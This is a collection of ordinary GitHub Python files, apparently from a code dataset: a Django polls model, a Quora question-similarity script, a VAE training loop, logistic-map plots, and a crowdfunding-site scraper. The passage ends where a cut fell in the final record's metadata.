{"seq_id": "23353532882", "text": "# polls/models.py\n\n\nimport datetime\nfrom django.db import models\nfrom django.utils import timezone\n\n\nclass Picture(models.Model):\n\n    caption = models.CharField(\n            'Caption',\n            max_length = 255,\n            )\n    source = models.ImageField(upload_to='pictures')\n\n    def __str__(self):\n        return self.caption\n\n\nclass Poll(models.Model):\n    \n    title = models.CharField(\n            'Poll Title',\n            max_length = 255,\n            help_text = \"Provide a title for the Poll.\"\n            )\n    description = models.CharField(\n            'Poll Description',\n            max_length = 4095,\n            blank = True,\n            help_text='Describe the Poll if you like.'\n            )\n    pub_date = models.DateTimeField(\n            'Publishing Date and Time',\n            default = timezone.now,\n            help_text = 'Date and Time to start the Poll.'\n            )\n    \n    def __str__(self):\n        return self.title\n\n    class Meta:\n        ordering = ['-pub_date', 'title']\n\n\nclass Question(models.Model):\n\n    poll = models.ForeignKey(\n            Poll,\n            help_text = \"Poll\"\n            )\n    text = models.CharField(\n           'Question Text',\n           max_length = 255,\n           blank = True,\n           help_text = 'Ask a Question'\n           )\n    picture = models.ForeignKey(\n            Picture,\n            null = True,\n            help_text = 'Add a Picture to this Question.'\n            )\n    number = models.PositiveSmallIntegerField(\n            'Question Number',\n            default = 1,\n            help_text = 'If you have more than one Question, they are ordered by their Number.'\n            )\n\n    def __str__(self):\n        return self.text\n\n    class Meta:\n        ordering = ['number']\n\n\nclass Answer(models.Model):\n\n    question = models.ForeignKey(\n            Question,\n            )\n    text = models.CharField(\n            'Answer Text',\n            max_length=255,\n            blank = True,\n            help_text = 'Add a possible choice to answer the Question'\n            )\n    picture = models.ForeignKey(\n            Picture,\n            null=True,\n            help_text='Add a Picture to this Answer.'\n            )\n    number = models.PositiveSmallIntegerField(\n            'Number',\n            default = 0,\n            help_text = 'The Number is used to order the Answers.'\n            )\n    value = models.IntegerField(\n            'Value',\n            blank = True,\n            )\n    count = models.IntegerField(default=0, editable=False)\n\n    def __str__(self):\n        return self.text\n\n    def poll(self):\n        return self.question.poll\n\n\nclass Vote(models.Model):\n    \n    poll = models.ForeignKey(Poll)\n    question = models.ForeignKey(Question)\n    answer = models.ForeignKey(Answer)\n    timestamp = models.DateTimeField(auto_now_add=True)\n    sessionid = models.CharField(max_length=32)\n\n    def __str__(self):\n        return \"Vote on Poll {0} at {1}\".format(self.poll, self.timestamp)\n\n    class Meta:\n        ordering = ['-timestamp']\n        \n", "repo_name": "thomec/tox", "sub_path": "polls/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 3053, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.db.models.Model", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 47, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 47, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 49, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 49, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 53, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 53, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 59, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 59, "usage_type": "name"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 64, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 64, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 77, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 77, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 79, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 79, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 82, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 82, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 88, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 88, "usage_type": "name"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 93, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 93, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 98, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 98, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 102, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 102, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 111, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 111, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 113, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 113, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 114, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 114, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 115, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 115, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 116, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 116, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 117, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 117, "usage_type": "name"}]}
{"seq_id": "71780307466", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 12 10:46:36 2017\n\n@author: IN0055\n\"\"\"\nimport csv\n\nimport re, math\nfrom collections import Counter\n\nWORD = re.compile(r'\\w+')\n\ndef get_cosine(vec1, vec2):\n     intersection = set(vec1.keys()) & set(vec2.keys())\n     numerator = sum([vec1[x] * vec2[x] for x in intersection])\n\n     sum1 = sum([vec1[x]**2 for x in vec1.keys()])\n     sum2 = sum([vec2[x]**2 for x in vec2.keys()])\n     denominator = math.sqrt(sum1) * math.sqrt(sum2)\n\n     if not denominator:\n        return 0.0\n     else:\n        return float(numerator) / denominator\n\ndef text_to_vector(text):\n     words = WORD.findall(text)\n     return Counter(words)\n\nall_result=[]\nwith open('D:/Kaggle/Quora/test.csv/test.csv', 'rb') as csvfile:\n    reader = csv.DictReader(csvfile)\n    for row in reader:\n        new_dict={}\n        #print row['qid1']\n        new_dict=row\n        text1 = row['question1']\n        text2 = row['question2']\n        vector1 = text_to_vector(text1)\n        vector2 = text_to_vector(text2)\n\n        cosine = get_cosine(vector1, vector2)\n        #print 'Cosine:', cosine\n        new_dict['similarity']=cosine\n        all_result.append(new_dict)\n        \n\nkeys = all_result[0].keys()\nwith open('D:/Kaggle/Quora/similarity_test.csv', 'wb') as output_file:\n    dict_writer = csv.DictWriter(output_file, keys)\n    dict_writer.writeheader()\n    dict_writer.writerows(all_result)\n\n   \nsub_result=[]\nfor item in all_result:\n    sub_result.append({'test_id':item['test_id'],'is_duplicate':item['similarity']})\n\n\nkeys = sub_result[0].keys()\nwith open('D:/Kaggle/Quora/submission_test.csv', 'wb') as output_file:\n    dict_writer = csv.DictWriter(output_file, keys)\n    dict_writer.writeheader()\n    dict_writer.writerows(sub_result)\n    \n", "repo_name": "bhatprarthana18/Kaggle-Quora", "sub_path": "similarity.py", "file_name": "similarity.py", "file_ext": "py", "file_size_in_byte": 1756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "re.compile", "line_number": 12, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 20, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 29, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 33, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 51, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 63, "usage_type": "call"}]}
{"seq_id": "8418365119", "text": "# %% library\nfrom loader import loader\nimport argparse\nfrom paper_model import VAE\nimport numpy as np\nimport torch\nimport torch.optim as optim\nfrom pytorchtools import EarlyStopping\nimport time\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\nimport gc\nimport random\nimport matplotlib.pyplot as plt\n\n\n# %% Train\ndef train(args):\n\n    torch.manual_seed(123)\n    torch.cuda.manual_seed(123)\n    np.random.seed(123)\n    random.seed(123)\n    torch.backends.cudnn.enabled = False\n    torch.backends.cudnn.deterministic = True\n\n    optimizer = optim.Adam(args.model.parameters(), args.learning_rate)\n    best_MSE = np.inf\n    start = time.time()\n\n    writer = SummaryWriter(f'./runs/{args.experiment}')\n    early_stopping = EarlyStopping(patience=10, verbose=False, path=f'./parameter/{args.experiment}.pth')\n\n    for e in range(args.epoch):\n        print(\"\\n===> epoch %d\" % e)\n\n        total_loss = 0\n\n        for i, batch in enumerate(tqdm(args.loader.train_iter, desc='train')):\n\n            feature = batch[0].cuda(args.gpu_device)\n            optimizer.zero_grad()\n            args.model.train()\n            x_mean, x_logvar, z_mean, z_logvar = args.model(feature)\n\n            kl_divergence = -0.5 * torch.sum(1 + z_logvar - torch.square(z_mean) - torch.exp(z_logvar), axis=1)\n            log_recon_likelihood = -0.5 * (torch.sum(torch.square(feature-x_mean) * torch.exp(-x_logvar) , axis = [2,3,1]) + torch.sum(x_logvar ,axis=[2,3,1]) + 784 * np.log(2*np.pi))\n            loss = torch.mean(kl_divergence - log_recon_likelihood)\n            loss.backward()\n            optimizer.step()\n            total_loss += loss.item()\n\n            if (i + 1) % args.printevery == 0:\n\n                with torch.no_grad():\n\n                    args.model.eval()\n                    val_loss = 0\n\n                    for s, val_batch in enumerate(tqdm(args.loader.valid_iter, desc='valid')):\n                        feature = val_batch[0].cuda(args.gpu_device)\n                        # target = val_batch[1].cuda(args.gpu_device)\n                        x_mean, x_logvar, z_mean, z_logvar = args.model(feature)\n\n                        kl_divergence = -0.5 * torch.sum(1 + z_logvar - torch.square(z_mean) - torch.exp(z_logvar),axis=1)\n                        log_recon_likelihood = -0.5 * (torch.sum(torch.square(feature - x_mean) * torch.exp(-x_logvar),axis=[2, 3, 1]) + torch.sum(x_logvar, axis=[2, 3,1]) +\n                                                       784 * np.log(2 * np.pi))\n                        loss = torch.mean(kl_divergence - log_recon_likelihood)\n                        val_loss += loss.item()\n\n                if best_MSE > (val_loss / len(args.loader.valid_iter)):\n                    best_MSE = (val_loss / len(args.loader.valid_iter))\n                    torch.save(args.model.state_dict(), f'./parameter/best_parameter_{args.experiment}.pth')\n\n                iters = (e) * (len(args.loader.train_iter)) + i\n                avg_loss = total_loss / args.printevery\n\n                writer.add_scalar('train_loss', avg_loss, iters + 1)\n                writer.add_scalar('valid_loss', val_loss / len(args.loader.valid_iter), iters + 1)\n                total_loss = 0\n                show_visual_progress(args, rows=5, title=f'{args.experiment}_{iters}')\n                plt.close('all')\n                early_stopping(val_loss / len(args.loader.valid_iter), args.model)\n\n                if early_stopping.early_stop:\n                    print('Early stopping')\n                    break\n\n        if early_stopping.early_stop:\n            print('Early stopping')\n            break\n\n\n\n\ndef show_visual_progress(args, rows=5, title=None):\n\n    fig = plt.figure(figsize=(10, 8))\n    if title:\n        plt.title(title)\n\n    image_rows = []\n    for idx, (feature, label) in enumerate(args.loader.test_iter):\n        if rows == idx:\n            break\n        feature = feature.cuda(args.gpu_device)\n        images = args.model(feature)[0].detach().cpu().numpy().reshape(feature.size(0), 28, 28)\n        images_idxs = [list(label.numpy()).index(x) for x in range(10)]\n        combined_images = np.concatenate([images[x].reshape(28, 28) for x in images_idxs],\n                                         1)\n        image_rows.append(combined_images)\n\n    plt.imshow(np.concatenate(image_rows))\n    plt.savefig('./img/' + title + '.png', dpi=300)\n\n\n\n# %% main\ndef main():\n    parser = argparse.ArgumentParser(description=\"-----[#]-----\")\n\n    # Model\n    parser.add_argument(\"--learning_rate\", default=1e-4, type=float, help=\"learning rate\")\n    parser.add_argument(\"--epoch\", default=100, type=int, help=\"number of max epoch\")\n    parser.add_argument('--input_dimension', type=int, default=1, help='이미지 가로 차원 수')\n    parser.add_argument('--latent_dimension', type=int, default=25, help='latent variable dimension')\n\n    # Data and train\n    parser.add_argument('--batch_size', type=int, default=256, help='batch size for training [default: 128]')\n    parser.add_argument(\"--gpu_device\", default=0, type=int, help=\"the number of gpu to be used\")\n    parser.add_argument('--printevery', default=100, type=int, help='log , print every % iteration')\n    parser.add_argument('--experiment', type=str, default='Abnormal_class_0_vae', help='experiment name')\n    parser.add_argument('--abnormal_class', type=int, default=0, help='abnormal class')\n\n\n    args = parser.parse_args()\n    args.loader = loader(args)\n    args.model = VAE(input_size=28*28).cuda(args.gpu_device)\n\n    gc.collect()\n    train(args)\n\n\n# %% run\nif __name__ == \"__main__\":\n    main()", "repo_name": "bogus215/Variational-Autoencoder-based-Anomaly-Detection", "sub_path": "train_vae.py", "file_name": "train_vae.py", "file_ext": "py", "file_size_in_byte": 5588, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.manual_seed", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 22, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 27, "usage_type": "name"}, {"api_name": "numpy.inf", "line_number": 28, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.utils.tensorboard.SummaryWriter", "line_number": 31, "usage_type": "call"}, {"api_name": "pytorchtools.EarlyStopping", "line_number": 32, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.square", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.square", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 47, "usage_type": "attribute"}, {"api_name": "torch.mean", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 55, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.square", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.square", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 67, "usage_type": "attribute"}, {"api_name": "torch.mean", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 120, "usage_type": "call"}, {"api_name": "loader.loader", "line_number": 137, "usage_type": "call"}, {"api_name": "paper_model.VAE", "line_number": 138, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 140, "usage_type": "call"}]}
{"seq_id": "3064202634", "text": "from typing import Generator\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\n\ndef fiegen_plots(a:float, n:int, x_values_total: int = 1001):\n    x_values: tuple = tuple(x for x in range(x_values_total))\n    period: int = 2**n\n    # print(x_values, type(x_values))\n\n\ndef logic_iterator(n: int, a: float, x: float = 0.5, fun = None) -> float:\n    if fun is None:\n        fun = lambda a, x: a*x*(1 - x)\n\n    period: int = 2**n\n\n    for _ in range(period):\n        x = fun(a, x)\n    \n    return x\n\n\ndef multiple_plots():\n    a_n_f = [2.0,\n             3.23,\n             3.4985616,\n             3.5546408]\n            #  3.5656673]\n            #  3.5692435,\n            #  3.5697952,\n            #  3.5699134]\n\n    a_n_s = [0.5,\n             0.77,\n             0.82,\n             0.84]\n\n    a = a_n_f\n    # a = a_n_s\n\n    logic_map: function = lambda a, x: a*x*(1 - x)\n    # sin_map: function = lambda a, x: a*np.sin(np.pi * x)\n\n    funny = logic_map\n\n    x_max = 1000\n\n    for n in range(len(a)):\n        x_gen = (x for x in range(x_max + 1))\n\n        plot_values = {x/x_max:logic_iterator(n, a[n], x=x/x_max, fun=funny) for x in x_gen}\n        output_file = os.path.join(os.getcwd(), f'a{n}_{a[n]}.png')\n    \n        plt.plot(plot_values.keys(), plot_values.values())\n        plt.plot(plot_values.keys(), plot_values.keys())\n        plt.xlabel('inital x values')\n        plt.ylabel('final x values')\n        plt.title(f'Logic Map: f = a*sin(pi*x)\\na{n} = {a[n]}\\nusing N={x_max} points')\n        plt.savefig(output_file)\n        plt.close()\n\n    # plt.savefig(f'All logic maps overlain')\n    # plt.show()\n\n\n        # print(a_n_f[n])\n\n\ndef flip(n, on = False):\n    if on:\n        if (n % 2) == 0:\n            f = 1\n        else:\n            f = -1\n\n    else:\n        f = 1\n\n    return f\n\n\ndef main():\n    '''\n    Include a y=x line, then find where the y=x line intersects the other iterators. That is the point that you want to zoom in on.\n    NOT where the slope of the iterator is zero, but where it intersects at y=x\n    '''\n\n    # multiple_plots()\n\n    a_n_f = [2.0,\n             3.23606797749979,\n             3.4985616,\n             3.5546408,\n             3.566667379856268,\n             3.5692435,\n             3.5697952,\n             3.5699134]\n\n    logic_map: function = lambda a, x: a*x*(1 - x)\n    sin_map: function = lambda a, x: a*np.sin(np.pi * x)\n\n    funny = logic_map\n    # funny = sin_map\n\n    n: int = 4\n    # switch = False\n    # x_max_float: float = 0.69\n    # x_min_float: float = 0.5 - (x_max_float - 0.5)\n    x_min_float: float = 0.4887\n    x_max_float: float = 0.5 + (0.5 - x_min_float)\n    x_scale: int = 10000\n    # x_max_float: int = 1\n    # x_min_float: int = 0\n    a: float = a_n_f[n]\n    # flip = 1\n    # s = flip(n)\n    switch = False if ((n % 2) == 0) else True\n    s: int = flip(n, on=switch)\n    scaler: int = 1 if switch else 0\n    # scaler = 0\n    # print(s)\n\n    x_min = int(x_min_float*x_scale)\n    x_max = int(x_max_float*x_scale)\n    # x_gen = (x for x in range(x_max + 1))\n    x_gen: Generator = tuple(x for x in range(x_min, x_max + 1))\n    print(len(x_gen))\n\n    plot_values: dict = {x/x_scale:(s*logic_iterator(n, a, x=x/x_scale, fun=funny) + scaler) for x in x_gen}\n\n    output_file: str = os.path.join(os.getcwd(), 'f_plots', f'a{n}_{a}.png')\n    \n    plt.plot(plot_values.keys(), plot_values.values())\n    plt.plot(plot_values.keys(), plot_values.keys())\n    plt.xlabel('inital x values')\n    plt.ylabel('final x values')\n    plt.title(f'Logic Map: f = a*x*(1-x)\\na{n} = {a}')\n    # plt.axis('off')\n    # plt.savefig(output_file)\n    plt.show()\n\n\n\nif __name__ in '__main__':\n    main()\n", "repo_name": "ZefCo/asm", "sub_path": "fiegenbaum_graphs.py", "file_name": "fiegenbaum_graphs.py", "file_ext": "py", "file_size_in_byte": 3646, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "numpy.sin", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 102, "usage_type": "attribute"}, {"api_name": "typing.Generator", "line_number": 128, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}]}
{"seq_id": "39365844029", "text": "\nimport requests\nimport json\nimport pymysql\nimport time\n\nfrom datetime import datetime\n\nconn = pymysql.connect(user='root', password='password', database='b50_demo', charset='utf8')\n\nSAMPLING_DELAY = 20\nOWHAT_DELAY = 3\n\n\ndef owhat_project_amount(project_id):\n    \"\"\"\n        Description:\n            This function is to calculate the total amount of a given owhat amount project.\n        Parameter:\n            project_id: numeric id of a a owhat amount project\n        Author: Lu.Biq Pan\n        Date: September 2019\n    \"\"\"\n    # Request parameters.\n    url_detail = \"http://appo4.owhat.cn/api?v=1.0&cmd_m=findPricesAndStock&client=%7B%22deviceid%22%3A%22bed3ac48\" \\\n                 \"-fe48-3b11-b174-15538ed5ba61%22%2C%22platform%22%3A%22android%22%2C%22version%22%3A%225.5.\" \\\n                 \"0%22%2C%22channel%22%3A%22owhat_app%22%7D&cmd_s=shop.price&requesttimestap=1522855734352\"\n    headers = {\n        'User-Agent': 'Mozilla/5.0',\n    }\n    data = {\n        \"data\": json.dumps({\"fk_goods_id\": project_id})\n    }\n\n    # Request by post.\n    resp = requests.post(url=url_detail, data=data, headers=headers)\n    # Return data successfully.\n    if resp.json()['result'] == 'success':\n        # Resolve json.\n        return_dict = resp.json()\n        data_dict = return_dict['data']\n        prices_list = data_dict['prices']\n\n        # Calculate total sale.\n        i = 0\n        total_sale = 0\n        sale = []\n        for item in prices_list:\n            sale.append(float(item['price']) * int(item['salestock']))\n        while i < len(sale):\n            total_sale = total_sale + sale[i]\n            i = i + 1\n        return total_sale\n\n    # Return data failed.\n    else:\n        print('Owhat returns data failed. Fail message: %s.' % resp.json()['message'])\n        return 0\n\n\ndef get_exist_projects():\n    exist_project_list = []\n\n    # Connect database.\n    cursor = conn.cursor()  # Create cursor.\n\n    # Get owhat_id from table fanclubs.\n    sql = \"SELECT project_id FROM project WHERE platform = 'owhat'\"\n    cursor.execute(sql)\n\n    for field in cursor:\n        if field[0] != '' and field[0] is not None:\n            exist_project_list.append(field[0])\n\n    return exist_project_list\n\n\ndef get_fan_club():\n    fan_club_list = []\n\n    # Connect database.\n    cursor = conn.cursor()  # Create cursor.\n\n    # Get owhat_id from table fanclubs.\n    sql = \"SELECT owhat_id FROM fan_club WHERE active = 1\"\n    cursor.execute(sql)\n\n    for field in cursor:\n        if field[0] != '' and field[0] is not None:\n            fan_club_list.append(field[0])\n\n    return fan_club_list\n\n\ndef sample_exist_owhat_project(exist_project_list):\n    cursor = conn.cursor()\n\n    for project_id in exist_project_list:\n        time.sleep(OWHAT_DELAY)\n        # Calculate total amount.\n        amount = owhat_project_amount(project_id)\n\n        # Update.\n        try:\n            update_data = (amount, datetime.now(), project_id)\n            sql = \"UPDATE project SET amount = %s, update_time = %s WHERE project_id = %s\"\n            cursor.execute(sql, update_data)\n            conn.commit()\n        except cursor.Error as e:\n            conn.rollback()\n            print(\"Updating owhat project failed. project_id = %s. Error: %s\" % (project_id, e))\n\n\ndef sample_new_owhat_project(fan_club_list):\n    # for fan_club in fan_club_list:\n    for fan_club in ['854446']:\n        # Delay.\n        time.sleep(OWHAT_DELAY)\n\n        # Owhat API parameters.\n        headers = {\n            'host': 'm.owhat.cn',\n            'content-type': 'application/x-www-form-urlencoded'\n        }\n        url = \"https://m.owhat.cn/api?requesttimestap=\" + str(int(time.time() * 1000))\n        data = '{\"pagenum\":1,\"pagesize\":20,\"userid\": ' + fan_club + ',\"tabtype\": 1}'\n        params = {\n            'cmd_s': 'userindex',\n            'cmd_m': 'home',\n            'v': '1.0.0L',\n            'client': '{\"platform\":\"mobile\",\"version\":\"1.0.0L\",\"deviceid\":\"6193fcd0-5134-16ba-1425-8737ab1f69d3\",'\n                      '\"channel\":\"owhat\"}',\n            'data': data\n        }\n\n        # Request by post and response.\n        resp = requests.post(url, params, json=True, headers=headers)\n        return_dict = resp.json()\n        print(return_dict)\n\n\n# Update Owhat projects that can not be sampled from fan club profile page.\ndef update_odd_owhat():\n    # Connect database.\n    cursor = conn.cursor()  # Create cursor.\n    sql = \"SELECT project_id FROM project WHERE remark = 'odd' and platform = 'owhat'\"\n    cursor.execute(sql)\n\n    for field in cursor:\n        project_id = field[0]\n        print(project_id)\n        if project_id != '' and project_id is not None:\n            # Calculate total amount of given owhat project.\n            amount = owhat_project_amount(project_id)\n            print(amount)\n            # Update.\n            update_data = (amount, datetime.now(), project_id)\n            sql = \"UPDATE project SET amount = %s, update_time = %s WHERE project_id = %s and platform = 'owhat'\"\n            try:\n                cursor.execute(sql, update_data)\n                conn.commit()\n            except conn.Error as e:\n                conn.rollback()\n                print(\"Updating owhat project failed. project_id = %s. Error: %s\" % (project_id, e))\n\n\ndef get_modian_project_by_fan_club(fan_club_id):\n    # Request parameters.\n    url = 'http://orderapi.modian.com/v45/user/build_product_list'\n    headers = {\n        'User-Agent': 'Mozilla/5.0',\n    }\n    data = {\n        'to_user_id': fan_club_id,\n        'page_index': 0,\n        'client': 2,\n        'page_rows': 10,\n        'user_id': 1085377  # Any user_id is ok.\n    }\n    resp = requests.post(url, data=data, headers=headers)\n    return_dict = resp.json()\n    print(return_dict)\n    project_info = json.loads(return_dict['data'])\n    # print(project_info)\n\n\ndef main():\n    # exist_project_list = get_exist_projects()\n    # sample_exist_owhat_project(exist_project_list)\n    # fan_club_list = get_fan_club()\n    # sample_new_owhat_project(fan_club_list)\n    # update_odd_owhat()\n    # get_modian_project_by_fan_club(1090311)\n    amount = owhat_project_amount(23295)\n    print(amount)\n\n\nif __name__ == '__main__':\n    main()\n\n\n", "repo_name": "LuBiqPan/b50_scrapy", "sub_path": "b50_demo04.py", "file_name": "b50_demo04.py", "file_ext": "py", "file_size_in_byte": 6178, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": 